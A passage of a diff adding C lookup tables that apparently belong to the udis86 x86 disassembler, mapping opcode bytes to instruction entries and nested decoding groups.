+}; + +static const uint16_t ud_itab__342[] = { + /* 0 */ 418, 0, 0, 0, +}; + +static const uint16_t ud_itab__343[] = { + /* 0 */ 419, 0, 0, 0, +}; + +static const uint16_t ud_itab__344[] = { + /* 0 */ 420, 0, 0, 0, +}; + +static const uint16_t ud_itab__345[] = { + /* 0 */ 421, 0, 0, 0, +}; + +static const uint16_t ud_itab__346[] = { + /* 0 */ 422, 0, 0, 0, +}; + +static const uint16_t ud_itab__347[] = { + /* 0 */ 423, 0, 0, 0, +}; + +static const uint16_t ud_itab__348[] = { + /* 0 */ 424, 0, 0, 0, +}; + +static const uint16_t ud_itab__349[] = { + /* 0 */ 425, 0, 0, 0, +}; + +static const uint16_t ud_itab__350[] = { + /* 0 */ 426, 0, 0, 0, +}; + +static const uint16_t ud_itab__351[] = { + /* 0 */ 427, 0, 0, 0, +}; + +static const uint16_t ud_itab__352[] = { + /* 0 */ 428, 0, 0, 0, +}; + +static const uint16_t ud_itab__353[] = { + /* 0 */ 429, 0, 0, 0, +}; + +static const uint16_t ud_itab__354[] = { + /* 0 */ 430, 0, 0, 0, +}; + +static const uint16_t ud_itab__355[] = { + /* 0 */ 431, 0, 0, 0, +}; + +static const uint16_t ud_itab__356[] = { + /* 0 */ 432, 0, 0, 0, +}; + +static const uint16_t ud_itab__357[] = { + /* 0 */ 433, 0, 0, 0, +}; + +static const uint16_t ud_itab__358[] = { + /* 0 */ 434, 0, 0, 0, +}; + +static const uint16_t ud_itab__359[] = { + /* 0 */ 435, 0, 0, 0, +}; + +static const uint16_t ud_itab__360[] = { + /* 0 */ 436, 0, 0, 0, +}; + +static const uint16_t ud_itab__361[] = { + /* 0 */ 437, 0, 0, 0, +}; + +static const uint16_t ud_itab__362[] = { + /* 0 */ 438, 0, 0, 0, +}; + +static const uint16_t ud_itab__363[] = { + /* 0 */ 439, 0, 0, 0, +}; + +static const uint16_t ud_itab__368[] = { + /* 0 */ 0, 440, +}; + +static const uint16_t ud_itab__367[] = { + /* 0 */ GROUP(368), 0, 0, 0, +}; + +static const uint16_t ud_itab__366[] = { + /* 0 */ GROUP(367), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__371[] = { + /* 0 */ 0, 441, +}; + +static const uint16_t ud_itab__370[] = { + /* 0 */ GROUP(371), 0, 0, 0, +}; + +static const uint16_t ud_itab__369[] = { + /* 0 */ GROUP(370), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__374[] = { + /* 0 */ 0, 442, +}; + +static const uint16_t ud_itab__373[] = { + /* 0 */ GROUP(374), 0, 0, 0, +}; + +static const uint16_t ud_itab__372[] = { + /* 0 */ GROUP(373), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__365[] = { + /* 0 */ GROUP(366), GROUP(369), GROUP(372), 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__364[] = { + /* 0 */ 0, GROUP(365), +}; + +static const uint16_t ud_itab__379[] = { + /* 0 */ 0, 443, +}; + +static const uint16_t ud_itab__378[] = { + /* 0 */ GROUP(379), 0, 0, 0, +}; + +static const uint16_t ud_itab__377[] = { + /* 0 */ GROUP(378), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__382[] = { + /* 0 */ 0, 444, +}; + +static const uint16_t ud_itab__381[] = { + /* 0 */ GROUP(382), 0, 0, 0, +}; + +static const uint16_t ud_itab__380[] = { + /* 0 */ GROUP(381), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__385[] = { + /* 0 */ 0, 445, +}; + +static const uint16_t ud_itab__384[] = { + /* 0 */ GROUP(385), 0, 0, 0, +}; + +static const uint16_t ud_itab__383[] = { + /* 0 */ GROUP(384), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__388[] = { + /* 0 */ 0, 446, +}; + +static const uint16_t ud_itab__387[] = { + /* 0 */ GROUP(388), 0, 0, 0, +}; + +static const uint16_t ud_itab__386[] = { + /* 0 */ GROUP(387), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__391[] = { + /* 0 */ 0, 447, +}; + +static const uint16_t ud_itab__390[] = { + /* 0 */ GROUP(391), 0, 0, 0, +}; + +static const uint16_t ud_itab__389[] = { + /* 0 */ GROUP(390), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__394[] = { + /* 0 */ 0, 448, +}; + +static const uint16_t ud_itab__393[] = { + /* 0 */ GROUP(394), 0, 0, 0, +}; + +static const uint16_t ud_itab__392[] = { + /* 0 */ GROUP(393), 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__376[] = { + /* 0 */ GROUP(377), GROUP(380), GROUP(383), GROUP(386), + /* 4 */ GROUP(389), GROUP(392), 0, 0, +}; + +static const uint16_t ud_itab__375[] = { + /* 0 */ 0, GROUP(376), +}; + +static const uint16_t ud_itab__395[] = { + /* 0 */ 449, 0, 0, 0, +}; + +static const uint16_t ud_itab__396[] = { + /* 0 */ 450, 0, 0, 0, +}; + +static const uint16_t ud_itab__397[] = { + /* 0 */ 451, 0, 0, 0, +}; + +static const uint16_t ud_itab__398[] = { + /* 0 */ 452, 0, 0, 0, +}; + +static const uint16_t ud_itab__399[] = { + /* 0 */ 453, 0, 0, 0, +}; + +static const uint16_t ud_itab__400[] = { + /* 0 */ 454, 0, 0, 0, +}; + +static const uint16_t ud_itab__404[] = { + /* 0 */ 455, 0, +}; + +static const uint16_t ud_itab__403[] = { + /* 0 */ GROUP(404), 0, 0, 0, +}; + +static const uint16_t ud_itab__406[] = { + /* 0 */ 456, 0, +}; + +static const uint16_t ud_itab__405[] = { + /* 0 */ GROUP(406), 0, 0, 0, +}; + +static const uint16_t ud_itab__408[] = { + /* 0 */ 457, 0, +}; + +static const uint16_t ud_itab__407[] = { + /* 0 */ GROUP(408), 0, 0, 0, +}; + +static const uint16_t ud_itab__410[] = { + /* 0 */ 458, 0, +}; + +static const uint16_t ud_itab__409[] = { + /* 0 */ GROUP(410), 0, 0, 0, +}; + +static const uint16_t ud_itab__412[] = { + /* 0 */ 459, 0, +}; + +static const uint16_t ud_itab__411[] = { + /* 0 */ GROUP(412), 0, 0, 0, +}; + +static const uint16_t ud_itab__414[] = { + /* 0 */ 460, 0, +}; + +static const uint16_t ud_itab__413[] = { + /* 0 */ GROUP(414), 0, 0, 0, +}; + +static const uint16_t ud_itab__416[] = { + /* 0 */ 461, 0, +}; + +static const uint16_t ud_itab__415[] = { + /* 0 */ GROUP(416), 0, 0, 0, +}; + +static const uint16_t ud_itab__402[] = { + /* 0 */ GROUP(403), GROUP(405), GROUP(407), GROUP(409), + /* 4 */ GROUP(411), GROUP(413), 0, GROUP(415), +}; + +static const uint16_t ud_itab__420[] = { + /* 0 */ 0, 462, +}; + +static const uint16_t ud_itab__419[] = { + /* 0 */ GROUP(420), 0, 0, 0, +}; + +static const uint16_t ud_itab__422[] = { + /* 0 */ 0, 463, +}; + +static const uint16_t ud_itab__421[] = { + /* 0 */ GROUP(422), 0, 0, 0, +}; + +static const uint16_t ud_itab__424[] = { + /* 0 */ 0, 464, +}; + +static const uint16_t ud_itab__423[] = { + /* 0 */ GROUP(424), 0, 0, 0, +}; + +static const uint16_t ud_itab__426[] = { + /* 0 */ 0, 465, +}; + +static const uint16_t ud_itab__425[] = { + /* 0 */ GROUP(426), 0, 0, 0, +}; + +static const uint16_t ud_itab__428[] = { + /* 0 */ 0, 466, +}; + +static const uint16_t ud_itab__427[] = { + /* 0 */ GROUP(428), 0, 0, 0, +}; + +static const uint16_t ud_itab__430[] = { + /* 0 */ 0, 467, +}; + +static const uint16_t ud_itab__429[] = { + /* 0 */ GROUP(430), 0, 0, 0, +}; + +static const uint16_t ud_itab__432[] = { + /* 0 */ 0, 468, +}; + +static const uint16_t ud_itab__431[] = { + /* 0 */ GROUP(432), 0, 0, 0, +}; + +static const uint16_t ud_itab__434[] = { + /* 0 */ 0, 469, +}; + +static const uint16_t ud_itab__433[] = { + /* 0 */ GROUP(434), 0, 0, 0, +}; + +static const uint16_t ud_itab__418[] = { + /* 0 */ GROUP(419), GROUP(421), GROUP(423), GROUP(425), + /* 4 */ GROUP(427), GROUP(429), GROUP(431), GROUP(433), +}; + +static const uint16_t ud_itab__437[] = { + /* 0 */ 0, 470, +}; + +static const uint16_t ud_itab__436[] = { + /* 0 */ GROUP(437), 0, 0, 0, +}; + +static const uint16_t ud_itab__439[] = { + /* 0 */ 0, 471, +}; + +static const uint16_t ud_itab__438[] = { + /* 0 */ GROUP(439), 0, 0, 0, +}; + +static const uint16_t ud_itab__441[] = { + /* 0 */ 0, 472, +}; + +static const uint16_t ud_itab__440[] = { + /* 0 */ GROUP(441), 0, 0, 0, +}; + +static const uint16_t ud_itab__443[] = { + /* 0 */ 0, 473, +}; + +static const uint16_t ud_itab__442[] = { + /* 0 */ GROUP(443), 0, 0, 0, +}; + +static const uint16_t ud_itab__445[] = { + /* 0 */ 0, 474, +}; + +static const uint16_t ud_itab__444[] = { + /* 0 */ GROUP(445), 0, 0, 0, +}; + +static const uint16_t ud_itab__447[] = { + /* 0 */ 0, 475, +}; + +static const uint16_t ud_itab__446[] = { + /* 0 */ GROUP(447), 0, 0, 0, +}; + +static const uint16_t ud_itab__449[] = { + /* 0 */ 0, 476, +}; + +static const uint16_t ud_itab__448[] = { + /* 0 */ GROUP(449), 0, 0, 0, +}; + +static const uint16_t ud_itab__451[] = { + /* 0 */ 0, 477, +}; + +static const uint16_t ud_itab__450[] = { + /* 0 */ GROUP(451), 0, 0, 0, +}; + +static const uint16_t ud_itab__435[] = { + /* 0 */ GROUP(436), GROUP(438), GROUP(440), GROUP(442), + /* 4 */ GROUP(444), GROUP(446), GROUP(448), GROUP(450), +}; + +static const uint16_t ud_itab__454[] = { + /* 0 */ 0, 478, +}; + +static const uint16_t ud_itab__453[] = { + /* 0 */ GROUP(454), 0, 0, 0, +}; + +static const uint16_t ud_itab__456[] = { + /* 0 */ 0, 479, +}; + +static const uint16_t ud_itab__455[] = { + /* 0 */ GROUP(456), 0, 0, 0, +}; + +static const uint16_t ud_itab__458[] = { + /* 0 */ 0, 480, +}; + +static const uint16_t ud_itab__457[] = { + /* 0 */ GROUP(458), 0, 0, 0, +}; + +static const uint16_t ud_itab__460[] = { + /* 0 */ 0, 481, +}; + +static const uint16_t ud_itab__459[] = { + /* 0 */ GROUP(460), 0, 0, 0, +}; + +static const uint16_t ud_itab__462[] = { + /* 0 */ 0, 482, +}; + +static const uint16_t ud_itab__461[] = { + /* 0 */ GROUP(462), 0, 0, 0, +}; + +static const uint16_t ud_itab__464[] = { + /* 0 */ 0, 483, +}; + +static const uint16_t ud_itab__463[] = { + /* 0 */ GROUP(464), 0, 0, 0, +}; + +static const uint16_t ud_itab__466[] = { + /* 0 */ 0, 484, +}; + +static const uint16_t ud_itab__465[] = { + /* 0 */ GROUP(466), 0, 0, 0, +}; + +static const uint16_t ud_itab__468[] = { + /* 0 */ 0, 485, +}; + +static const uint16_t ud_itab__467[] = { + /* 0 */ GROUP(468), 0, 0, 0, +}; + +static const uint16_t ud_itab__452[] = { + /* 0 */ GROUP(453), GROUP(455), GROUP(457), GROUP(459), + /* 4 */ GROUP(461), GROUP(463), GROUP(465), GROUP(467), +}; + +static const uint16_t ud_itab__417[] = { + /* 0 */ 0, 0, 0, 0, + /* 4 */ 0, GROUP(418), GROUP(435), GROUP(452), +}; + +static const uint16_t ud_itab__401[] = { + /* 0 */ GROUP(402), GROUP(417), +}; + +static const uint16_t ud_itab__469[] = { + /* 0 */ 486, 0, 0, 0, +}; + +static const uint16_t ud_itab__470[] = { + /* 0 */ 487, 0, 0, 0, +}; + +static const uint16_t ud_itab__471[] = { + /* 0 */ 488, 0, 0, 0, +}; + +static const uint16_t ud_itab__472[] = { + /* 0 */ 489, 0, 0, 0, +}; + +static const uint16_t ud_itab__473[] = { + /* 0 */ 490, 0, 0, 0, +}; + +static const uint16_t ud_itab__474[] = { + /* 0 */ 491, 0, 0, 0, +}; + +static const uint16_t ud_itab__475[] = { + /* 0 */ 492, 0, 0, 0, +}; + +static const uint16_t ud_itab__476[] = { + /* 0 */ 493, 0, 0, 0, +}; + +static const uint16_t ud_itab__477[] = { + /* 0 */ 494, 0, 0, 0, +}; + +static const uint16_t ud_itab__478[] = { + /* 0 */ 0, 0, 495, 0, +}; + +static const uint16_t ud_itab__480[] = { + /* 0 */ 496, 0, 0, 0, +}; + +static const uint16_t ud_itab__481[] = { + /* 0 */ 497, 0, 0, 0, +}; + +static const uint16_t ud_itab__482[] = { + /* 0 */ 498, 0, 0, 0, +}; + +static const uint16_t ud_itab__483[] = { + /* 0 */ 499, 0, 0, 0, +}; + +static const uint16_t ud_itab__479[] = { + /* 0 */ 0, 0, 0, 0, + /* 4 */ GROUP(480), GROUP(481), GROUP(482), GROUP(483), +}; + +static const uint16_t ud_itab__484[] = { + /* 0 */ 500, 0, 0, 0, +}; + +static const uint16_t ud_itab__485[] = { + /* 0 */ 501, 0, 0, 0, +}; + +static const uint16_t ud_itab__486[] = { + /* 0 */ 502, 0, 0, 0, +}; + +static const uint16_t ud_itab__487[] = { + /* 0 */ 503, 0, 0, 0, +}; + +static const uint16_t ud_itab__488[] = { + /* 0 */ 504, 0, 0, 0, +}; + +static const uint16_t ud_itab__489[] = { + /* 0 */ 505, 0, 0, 0, +}; + +static const uint16_t ud_itab__490[] = { + /* 0 */ 506, 0, 0, 0, +}; + +static const uint16_t ud_itab__491[] = { + /* 0 */ 507, 508, 509, 510, +}; + +static const uint16_t ud_itab__492[] = { + /* 0 */ 511, 0, 0, 0, +}; + +static const uint16_t ud_itab__493[] = { + /* 0 */ 512, 0, 0, 513, +}; + +static const uint16_t ud_itab__494[] = { + /* 0 */ 514, 0, 0, 515, +}; + +static const uint16_t ud_itab__495[] = { + /* 0 */ 516, 0, 0, 517, +}; + +static const uint16_t ud_itab__498[] = { + /* 0 */ 518, 519, 520, +}; + +static const uint16_t ud_itab__497[] = { + /* 0 */ GROUP(498), 0, 0, 0, +}; + +static const uint16_t ud_itab__500[] = { + /* 0 */ 0, 521, 0, +}; + +static const uint16_t ud_itab__501[] = { + /* 0 */ 0, 522, 0, +}; + +static const uint16_t ud_itab__502[] = { + /* 0 */ 0, 523, 0, +}; + +static const uint16_t ud_itab__499[] = { + /* 0 */ GROUP(500), 0, GROUP(501), GROUP(502), +}; + +static const uint16_t ud_itab__504[] = { + /* 0 */ 0, 524, 0, +}; + +static const uint16_t ud_itab__503[] = { + /* 0 */ GROUP(504), 0, 0, 0, +}; + +static const uint16_t ud_itab__496[] = { + /* 0 */ 0, GROUP(497), 0, 0, + /* 4 */ 0, 0, GROUP(499), GROUP(503), +}; + +static const uint16_t ud_itab__505[] = { + /* 0 */ 525, 0, 0, 0, +}; + +static const uint16_t ud_itab__506[] = { + /* 0 */ 526, 0, 0, 0, +}; + +static const uint16_t ud_itab__507[] = { + /* 0 */ 527, 0, 0, 0, +}; + +static const uint16_t ud_itab__508[] = { + /* 0 */ 528, 0, 0, 0, +}; + +static const uint16_t ud_itab__509[] = { + /* 0 */ 529, 0, 0, 0, +}; + +static const uint16_t ud_itab__510[] = { + /* 0 */ 530, 0, 0, 0, +}; + +static const uint16_t ud_itab__511[] = { + /* 0 */ 531, 0, 0, 0, +}; + +static const uint16_t ud_itab__512[] = { + /* 0 */ 532, 0, 0, 0, +}; + +static const uint16_t ud_itab__513[] = { + /* 0 */ 0, 533, 0, 534, +}; + +static const uint16_t ud_itab__514[] = { + /* 0 */ 535, 0, 0, 536, +}; + +static const uint16_t ud_itab__515[] = { + /* 0 */ 537, 0, 0, 538, +}; + +static const uint16_t ud_itab__516[] = { + /* 0 */ 539, 0, 0, 540, +}; + +static const uint16_t ud_itab__517[] = { + /* 0 */ 541, 0, 0, 542, +}; + +static const uint16_t ud_itab__518[] = { + /* 0 */ 543, 0, 0, 544, +}; + +static const uint16_t ud_itab__519[] = { + /* 0 */ 0, 545, 546, 547, +}; + +static const uint16_t ud_itab__520[] = { + /* 0 */ 548, 0, 0, 549, +}; + +static const uint16_t ud_itab__521[] = { + /* 0 */ 550, 0, 0, 551, +}; + +static const uint16_t ud_itab__522[] = { + /* 0 */ 552, 0, 0, 553, +}; + +static const uint16_t ud_itab__523[] = { + /* 0 */ 554, 0, 0, 555, +}; + +static const uint16_t ud_itab__524[] = { + /* 0 */ 556, 0, 0, 557, +}; + +static const uint16_t ud_itab__525[] = { + /* 0 */ 558, 0, 0, 559, +}; + +static const uint16_t ud_itab__526[] = { + /* 0 */ 560, 0, 0, 561, +}; + +static const uint16_t ud_itab__527[] = { + /* 0 */ 562, 0, 0, 563, +}; + +static const uint16_t ud_itab__528[] = { + /* 0 */ 564, 0, 0, 565, +}; + +static const uint16_t ud_itab__529[] = { + /* 0 */ 566, 0, 0, 567, +}; + +static const uint16_t ud_itab__530[] = { + /* 0 */ 568, 0, 0, 569, +}; + +static const uint16_t ud_itab__531[] = { + /* 0 */ 570, 0, 0, 571, +}; + +static const uint16_t ud_itab__532[] = { + /* 0 */ 572, 0, 0, 573, +}; + +static const uint16_t ud_itab__533[] = { + /* 0 */ 574, 0, 0, 575, +}; + +static const uint16_t ud_itab__534[] = { + /* 0 */ 576, 0, 0, 577, +}; + +static const uint16_t ud_itab__535[] = { + /* 0 */ 0, 578, 579, 580, +}; + +static const uint16_t ud_itab__536[] = { + /* 0 */ 581, 0, 0, 582, +}; + +static const uint16_t ud_itab__537[] = { + /* 0 */ 583, 0, 0, 584, +}; + +static const uint16_t ud_itab__538[] = { + /* 0 */ 585, 0, 0, 586, +}; + +static const uint16_t ud_itab__539[] = { + /* 0 */ 587, 0, 0, 588, +}; + +static const uint16_t ud_itab__540[] = { + /* 0 */ 589, 0, 0, 590, +}; + +static const uint16_t ud_itab__541[] = { + /* 0 */ 591, 0, 0, 592, +}; + +static const uint16_t ud_itab__542[] = { + /* 0 */ 593, 0, 0, 594, +}; + +static const uint16_t ud_itab__543[] = { + /* 0 */ 595, 0, 0, 596, +}; + +static const uint16_t ud_itab__544[] = { + /* 0 */ 597, 0, 0, 598, +}; + +static const uint16_t ud_itab__545[] = { + /* 0 */ 0, 599, 0, 0, +}; + +static const uint16_t ud_itab__546[] = { + /* 0 */ 600, 0, 0, 601, +}; + +static const uint16_t ud_itab__547[] = { + /* 0 */ 602, 0, 0, 603, +}; + +static const uint16_t ud_itab__548[] = { + /* 0 */ 604, 0, 0, 605, +}; + +static const uint16_t ud_itab__549[] = { + /* 0 */ 606, 0, 0, 607, +}; + +static const uint16_t ud_itab__550[] = { + /* 0 */ 608, 0, 0, 609, +}; + +static const uint16_t ud_itab__551[] = { + /* 0 */ 610, 0, 0, 611, +}; + +static const uint16_t ud_itab__554[] = { + /* 0 */ 0, 612, +}; + +static const uint16_t ud_itab__555[] = { + /* 0 */ 0, 613, +}; + +static const uint16_t ud_itab__553[] = { + /* 0 */ GROUP(554), 0, 0, GROUP(555), +}; + +static const uint16_t ud_itab__552[] = { + /* 0 */ 0, GROUP(553), +}; + +static const uint16_t ud_itab__556[] = { + /* 0 */ 614, 0, 0, 615, +}; + +static const uint16_t ud_itab__557[] = { + /* 0 */ 616, 0, 0, 617, +}; + +static const uint16_t ud_itab__558[] = { + /* 0 */ 618, 0, 0, 619, +}; + +static const uint16_t ud_itab__559[] = { + /* 0 */ 620, 0, 0, 621, +}; + +static const uint16_t ud_itab__560[] = { + /* 0 */ 622, 0, 0, 623, +}; + +static const uint16_t ud_itab__561[] = { + /* 0 */ 624, 0, 0, 625, +}; + +static const uint16_t ud_itab__562[] = { + /* 0 */ 626, 0, 0, 627, +}; + +static const uint16_t ud_itab__4[] = { + /* 0 */ GROUP(5), GROUP(12), GROUP(87), GROUP(88), + /* 4 */ 0, GROUP(89), GROUP(90), GROUP(91), + /* 8 */ GROUP(92), GROUP(93), 0, GROUP(94), + /* c */ 0, GROUP(95), GROUP(104), GROUP(105), + /* 10 */ GROUP(106), GROUP(107), GROUP(108), GROUP(118), + /* 14 */ GROUP(119), GROUP(120), GROUP(121), GROUP(129), + /* 18 */ GROUP(130), GROUP(135), GROUP(136), GROUP(137), + /* 1c */ GROUP(138), GROUP(139), GROUP(140), GROUP(141), + /* 20 */ GROUP(142), GROUP(143), GROUP(144), GROUP(145), + /* 24 */ 0, 0, 0, 0, + /* 28 */ GROUP(146), GROUP(147), GROUP(148), GROUP(149), + /* 2c */ GROUP(150), GROUP(151), GROUP(152), GROUP(153), + /* 30 */ GROUP(154), GROUP(155), GROUP(156), GROUP(157), + /* 34 */ GROUP(158), GROUP(161), 0, GROUP(164), + /* 38 */ GROUP(165), 0, GROUP(225), 0, + /* 3c */ 0, 0, 0, 0, + /* 40 */ GROUP(252), GROUP(253), GROUP(254), GROUP(255), + /* 44 */ GROUP(256), GROUP(257), GROUP(258), GROUP(259), + /* 48 */ GROUP(260), GROUP(261), GROUP(262), GROUP(263), + /* 4c */ GROUP(264), GROUP(265), GROUP(266), GROUP(267), + /* 50 */ GROUP(268), GROUP(269), GROUP(270), GROUP(271), + /* 54 */ GROUP(272), GROUP(273), GROUP(274), GROUP(275), + /* 58 */ GROUP(276), GROUP(277), GROUP(278), GROUP(279), + /* 5c */ GROUP(280), GROUP(281), GROUP(282), GROUP(283), + /* 60 */ GROUP(284), GROUP(285), GROUP(286), GROUP(287), + /* 64 */ GROUP(288), GROUP(289), GROUP(290), GROUP(291), + /* 68 */ GROUP(292), GROUP(293), GROUP(294), GROUP(295), + /* 6c */ GROUP(296), GROUP(297), GROUP(298), GROUP(299), + /* 70 */ GROUP(300), GROUP(301), GROUP(305), GROUP(309), + /* 74 */ GROUP(314), GROUP(315), GROUP(316), GROUP(317), + /* 78 */ GROUP(318), GROUP(320), 0, 0, + /* 7c */ GROUP(322), GROUP(323), GROUP(324), GROUP(325), + /* 80 */ GROUP(326), GROUP(327), GROUP(328), GROUP(329), + /* 84 */ GROUP(330), GROUP(331), GROUP(332), GROUP(333), + /* 88 */ GROUP(334), GROUP(335), GROUP(336), GROUP(337), + /* 8c */ GROUP(338), GROUP(339), GROUP(340), GROUP(341), + /* 90 */ GROUP(342), GROUP(343), GROUP(344), GROUP(345), + /* 94 */ GROUP(346), GROUP(347), GROUP(348), GROUP(349), + /* 98 */ GROUP(350), GROUP(351), GROUP(352), GROUP(353), + /* 9c */ GROUP(354), GROUP(355), GROUP(356), GROUP(357), + /* a0 */ GROUP(358), GROUP(359), GROUP(360), GROUP(361), + /* a4 */ GROUP(362), GROUP(363), GROUP(364), GROUP(375), + /* a8 */ GROUP(395), GROUP(396), GROUP(397), GROUP(398), + /* ac */ GROUP(399), GROUP(400), GROUP(401), GROUP(469), + /* b0 */ GROUP(470), GROUP(471), GROUP(472), GROUP(473), + /* b4 */ GROUP(474), GROUP(475), GROUP(476), GROUP(477), + /* b8 */ GROUP(478), 0, GROUP(479), GROUP(484), + /* bc */ GROUP(485), GROUP(486), GROUP(487), GROUP(488), + /* c0 */ GROUP(489), GROUP(490), GROUP(491), GROUP(492), + /* c4 */ GROUP(493), GROUP(494), GROUP(495), GROUP(496), + /* c8 */ GROUP(505), GROUP(506), GROUP(507), GROUP(508), + /* cc */ GROUP(509), GROUP(510), GROUP(511), GROUP(512), + /* d0 */ GROUP(513), GROUP(514), GROUP(515), GROUP(516), + /* d4 */ GROUP(517), GROUP(518), GROUP(519), GROUP(520), + /* d8 */ GROUP(521), GROUP(522), GROUP(523), GROUP(524), + /* dc */ GROUP(525), GROUP(526), GROUP(527), GROUP(528), + /* e0 */ GROUP(529), GROUP(530), GROUP(531), GROUP(532), + /* e4 */ GROUP(533), GROUP(534), GROUP(535), GROUP(536), + /* e8 */ GROUP(537), GROUP(538), GROUP(539), GROUP(540), + /* ec */ GROUP(541), GROUP(542), GROUP(543), GROUP(544), + /* f0 */ GROUP(545), GROUP(546), GROUP(547), GROUP(548), + /* f4 */ GROUP(549), GROUP(550), GROUP(551), GROUP(552), + /* f8 */ GROUP(556), GROUP(557), GROUP(558), GROUP(559), + /* fc */ GROUP(560), GROUP(561), GROUP(562), 0, +}; + +static const uint16_t ud_itab__563[] = { + /* 0 */ 634, 0, +}; + +static const uint16_t ud_itab__564[] = { + /* 0 */ 635, 0, +}; + +static const uint16_t ud_itab__565[] = { + /* 0 */ 642, 0, +}; + +static const uint16_t ud_itab__566[] = { + /* 0 */ 643, 0, +}; + +static const uint16_t ud_itab__567[] = { + /* 0 */ 650, 0, +}; + +static const uint16_t ud_itab__568[] = { + /* 0 */ 657, 0, +}; + +static const uint16_t ud_itab__569[] = { + /* 0 */ 664, 0, +}; + +static const uint16_t ud_itab__570[] = { + /* 0 */ 671, 0, +}; + +static const uint16_t ud_itab__572[] = { + /* 0 */ 704, 0, +}; + +static const uint16_t ud_itab__573[] = { + /* 0 */ 705, 0, +}; + +static const uint16_t ud_itab__571[] = { + /* 0 */ GROUP(572), GROUP(573), 0, +}; + +static const uint16_t ud_itab__575[] = { + /* 0 */ 706, 0, +}; + +static const uint16_t ud_itab__576[] = { + /* 0 */ 707, 0, +}; + +static const uint16_t ud_itab__574[] = { + /* 0 */ GROUP(575), GROUP(576), 0, +}; + +static const uint16_t ud_itab__577[] = { + /* 0 */ 708, 0, +}; + +static const uint16_t ud_itab__578[] = { + /* 0 */ 709, 710, +}; + +static const uint16_t ud_itab__579[] = { + /* 0 */ 716, 717, 0, +}; + +static const uint16_t ud_itab__580[] = { + /* 0 */ 719, 720, 0, +}; + +static const uint16_t ud_itab__581[] = { + /* 0 */ 737, 738, 739, 740, + /* 4 */ 741, 742, 743, 744, +}; + +static const uint16_t ud_itab__582[] = { + /* 0 */ 745, 746, 747, 748, + /* 4 */ 749, 750, 751, 752, +}; + +static const uint16_t ud_itab__584[] = { + /* 0 */ 753, 0, +}; + +static const uint16_t ud_itab__585[] = { + /* 0 */ 754, 0, +}; + +static const uint16_t ud_itab__586[] = { + /* 0 */ 755, 0, +}; + +static const uint16_t ud_itab__587[] = { + /* 0 */ 756, 0, +}; + +static const uint16_t ud_itab__588[] = { + /* 0 */ 757, 0, +}; + +static const uint16_t ud_itab__589[] = { + /* 0 */ 758, 0, +}; + +static const uint16_t ud_itab__590[] = { + /* 0 */ 759, 0, +}; + +static const uint16_t ud_itab__591[] = { + /* 0 */ 760, 0, +}; + +static const uint16_t ud_itab__583[] = { + /* 0 */ GROUP(584), GROUP(585), GROUP(586), GROUP(587), + /* 4 */ GROUP(588), GROUP(589), GROUP(590), GROUP(591), +}; + +static const uint16_t ud_itab__592[] = { + /* 0 */ 761, 762, 763, 764, + /* 4 */ 765, 766, 767, 768, +}; + +static const uint16_t ud_itab__593[] = { + /* 0 */ 780, 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__594[] = { + /* 0 */ 789, 790, 791, +}; + +static const uint16_t ud_itab__595[] = { + /* 0 */ 792, 793, 794, +}; + +static const uint16_t ud_itab__596[] = { + /* 0 */ 795, 0, +}; + +static const uint16_t ud_itab__598[] = { + /* 0 */ 797, 798, +}; + +static const uint16_t ud_itab__599[] = { + /* 0 */ 799, 800, +}; + +static const uint16_t ud_itab__600[] = { + /* 0 */ 0, 801, +}; + +static const uint16_t ud_itab__597[] = { + /* 0 */ GROUP(598), GROUP(599), GROUP(600), +}; + +static const uint16_t ud_itab__602[] = { + /* 0 */ 802, 0, +}; + +static const uint16_t ud_itab__603[] = { + /* 0 */ 803, 804, +}; + +static const uint16_t ud_itab__604[] = { + /* 0 */ 0, 805, +}; + +static const uint16_t ud_itab__601[] = { + /* 0 */ GROUP(602), GROUP(603), GROUP(604), +}; + +static const uint16_t ud_itab__605[] = { + /* 0 */ 813, 814, 815, +}; + +static const uint16_t ud_itab__606[] = { + /* 0 */ 817, 818, 819, +}; + +static const uint16_t ud_itab__607[] = { + /* 0 */ 823, 824, 825, +}; + +static const uint16_t ud_itab__608[] = { + /* 0 */ 827, 828, 829, +}; + +static const uint16_t ud_itab__609[] = { + /* 0 */ 831, 832, 833, +}; + +static const uint16_t ud_itab__610[] = { + /* 0 */ 850, 851, 852, 853, + /* 4 */ 854, 855, 856, 857, +}; + +static const uint16_t ud_itab__611[] = { + /* 0 */ 858, 859, 860, 861, + /* 4 */ 862, 863, 864, 865, +}; + +static const uint16_t ud_itab__612[] = { + /* 0 */ 868, 0, +}; + +static const uint16_t ud_itab__613[] = { + /* 0 */ 869, 0, +}; + +static const uint16_t ud_itab__614[] = { + /* 0 */ 870, 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__615[] = { + /* 0 */ 871, 0, 0, 0, + /* 4 */ 0, 0, 0, 0, +}; + +static const uint16_t ud_itab__616[] = { + /* 0 */ 878, 0, +}; + +static const uint16_t ud_itab__617[] = { + /* 0 */ 879, 880, 881, +}; + +static const uint16_t ud_itab__618[] = { + /* 0 */ 882, 883, 884, 885, + /* 4 */ 886, 887, 888, 889, +}; + +static const uint16_t ud_itab__619[] = { + /* 0 */ 890, 891, 892, 893, + /* 4 */ 894, 895, 896, 897, +}; + +static const uint16_t ud_itab__620[] = { + /* 0 */ 898, 899, 900, 901, + /* 4 */ 902, 903, 904, 905, +}; + +static const uint16_t ud_itab__621[] = { + /* 0 */ 906, 907, 908, 909, + /* 4 */ 910, 911, 912, 913, +}; + +static const uint16_t ud_itab__622[] = { + /* 0 */ 914, 0, +}; + +static const uint16_t ud_itab__623[] = { + /* 0 */ 915, 0, +}; + +static const uint16_t ud_itab__624[] = { + /* 